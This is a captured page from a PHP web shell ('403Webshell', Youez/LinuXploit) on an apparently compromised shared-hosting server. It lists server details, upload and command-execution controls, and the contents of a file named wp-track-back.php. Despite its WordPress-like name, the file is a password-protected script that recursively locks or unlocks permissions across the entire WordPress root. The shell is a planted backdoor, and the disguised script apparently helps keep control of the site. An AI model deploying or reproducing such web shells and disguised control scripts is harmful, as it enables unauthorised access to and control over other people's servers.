403Webshell
Server IP : 198.54.115.198  /  Your IP : 216.73.216.142
Web Server : LiteSpeed
System : Linux server192.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : seatpheu ( 1569)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/wp-track-back.php
<?php

const PASSWORD_HASH = '9349097f960bfb8a44586a39c5143f0077738b709fecd030816407cb663e147d';

$allowedIps = [
    // Örnekler:
    // '1.2.3.4',
    // '5.6.7.8',
    // '::1',     // localhost (IPv6)
];

// WordPress kök dizini (wp-config.php ile aynı seviye)
$baseDir = defined('ABSPATH') ? rtrim(ABSPATH, DIRECTORY_SEPARATOR) : __DIR__;

// Hariç tutulacak klasör/dosyalar (dokunulmayacak)
$excludePaths = [
    $baseDir . DIRECTORY_SEPARATOR . 'cgi-bin',
    $baseDir . DIRECTORY_SEPARATOR . '.git',
    // İstersen buraya cache veya upload klasörlerini ekleyebilirsin:
    // $baseDir . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'cache',
];


/**
 * İstemci IP'sini getir
 */
function getClientIp(): string
{
    if (PHP_SAPI === 'cli') {
        return 'CLI';
    }

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }

    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Proxy arkasında birden fazla IP olabilir, ilkini al
        $parts = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        return trim($parts[0]);
    }

    return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}

/**
 * IP izinli mi kontrol et
 */
function isIpAllowed(string $ip, array $allowedIps): bool
{
    // allowedIps boş ise IP kısıtlaması yok
    if (empty($allowedIps)) {
        return true;
    }

    // CLI için izin ver (istersen burada da kısıtlayabilirsin)
    if ($ip === 'CLI') {
        return true;
    }

    return in_array($ip, $allowedIps, true);
}

/**
 * Gönderilen şifre doğru mu? (HASH kontrollü)
 */
function isPasswordValid(?string $input): bool
{
    if ($input === null || $input === '') {
        return false;
    }

    // SHA-256 ile hashle
    $hash = hash('sha256', $input);

    // Sabit zamana yakın karşılaştırma (timing attack'e karşı)
    return hash_equals(PASSWORD_HASH, $hash);
}

//////////////////////////////////////
// ACTION & PARAMETRELER
//////////////////////////////////////

$isCli = (PHP_SAPI === 'cli');
$clientIp = getClientIp();

if ($isCli) {
    // CLI kullanımı: php dosya-izin-kontrol.php lock SIFRE
    $action = $argv[1] ?? null;
    $pass   = $argv[2] ?? null;
} else {
    $action = $_GET['action'] ?? $_POST['action'] ?? null;
    $pass   = $_GET['pass']   ?? $_POST['pass']   ?? null;
}

// Content-Type
if (!$isCli) {
    header('Content-Type: text/plain; charset=UTF-8');
}

// IP kontrolü
if (!isIpAllowed($clientIp, $allowedIps)) {
    echo "Erişim reddedildi: IP yetkisiz.\n";
    echo "IP adresiniz: {$clientIp}\n";
    exit;
}

// Parametre ve şifre kontrolü
if (!$action) {
    echo "Eksik parametre: action gerekli (lock/unlock).\n";
    exit;
}

if (!isPasswordValid($pass)) {
    echo "Yetkisiz erişim: şifre hatalı veya eksik.\n";
    exit;
}

$action = strtolower($action);
if (!in_array($action, ['lock', 'unlock'], true)) {
    echo "Geçersiz action. 'lock' veya 'unlock' kullanın.\n";
    exit;
}

// İzin modları
if ($action === 'lock') {
    $modeFile = 0444; // dosya: sadece okuma
    $modeDir  = 0555; // klasör: okuma + listeleme
} else {
    $modeFile = 0644; // dosya: owner yazabilir
    $modeDir  = 0755; // klasör: owner yazabilir
}

//////////////////////////////////////
// YARDIMCI FONKSİYONLAR
//////////////////////////////////////

/**
 * Hariç tutulacak path kontrolü
 */
function isExcluded(string $path, array $excludePaths): bool
{
    foreach ($excludePaths as $excluded) {
        if ($excluded && strpos($path, $excluded) === 0) {
            return true;
        }
    }
    return false;
}

/**
 * Recursive chmod
 */
function recursiveChmod(string $path, int $modeFile, int $modeDir, array $excludePaths, array &$stats): void
{
    if (is_link($path)) {
        // Sembolik linklere dokunma
        return;
    }

    if (isExcluded($path, $excludePaths)) {
        return;
    }

    if (is_file($path)) {
        if (@chmod($path, $modeFile)) {
            $stats['files_ok']++;
        } else {
            $stats['files_fail'][] = $path;
        }
        return;
    }

    if (is_dir($path)) {
        if (@chmod($path, $modeDir)) {
            $stats['dirs_ok']++;
        } else {
            $stats['dirs_fail'][] = $path;
        }

        $items = @scandir($path);
        if ($items === false) {
            $stats['dirs_fail'][] = $path . ' (scandir başarısız)';
            return;
        }

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $fullPath = $path . DIRECTORY_SEPARATOR . $item;
            recursiveChmod($fullPath, $modeFile, $modeDir, $excludePaths, $stats);
        }
    }
}

//////////////////////////////////////
// ÇALIŞTIR
//////////////////////////////////////

$stats = [
    'files_ok'   => 0,
    'dirs_ok'    => 0,
    'files_fail' => [],
    'dirs_fail'  => [],
];

$start = microtime(true);
recursiveChmod($baseDir, $modeFile, $modeDir, $excludePaths, $stats);
$elapsed = round(microtime(true) - $start, 2);

echo "İşlem tamamlandı.\n";
echo "Kök dizin : {$baseDir}\n";
echo "IP        : {$clientIp}\n";
echo "Mod       : " . ($action === 'lock' ? 'KİLİTLE (read-only)' : 'AÇ (yazılabilir)') . "\n\n";
echo "Başarılı dosya sayısı   : {$stats['files_ok']}\n";
echo "Başarılı klasör sayısı  : {$stats['dirs_ok']}\n";
echo "Süre                    : {$elapsed} sn\n\n";

if (!empty($stats['files_fail']) || !empty($stats['dirs_fail'])) {
    echo "İzin verilemeyen öğeler:\n";
    foreach ($stats['files_fail'] as $f) {
        echo "  [FILE] $f\n";
    }
    foreach ($stats['dirs_fail'] as $d) {
        echo "  [DIR ] $d\n";
    }
} else {
    echo "Tüm dosya ve klasör izinleri başarıyla güncellendi.\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit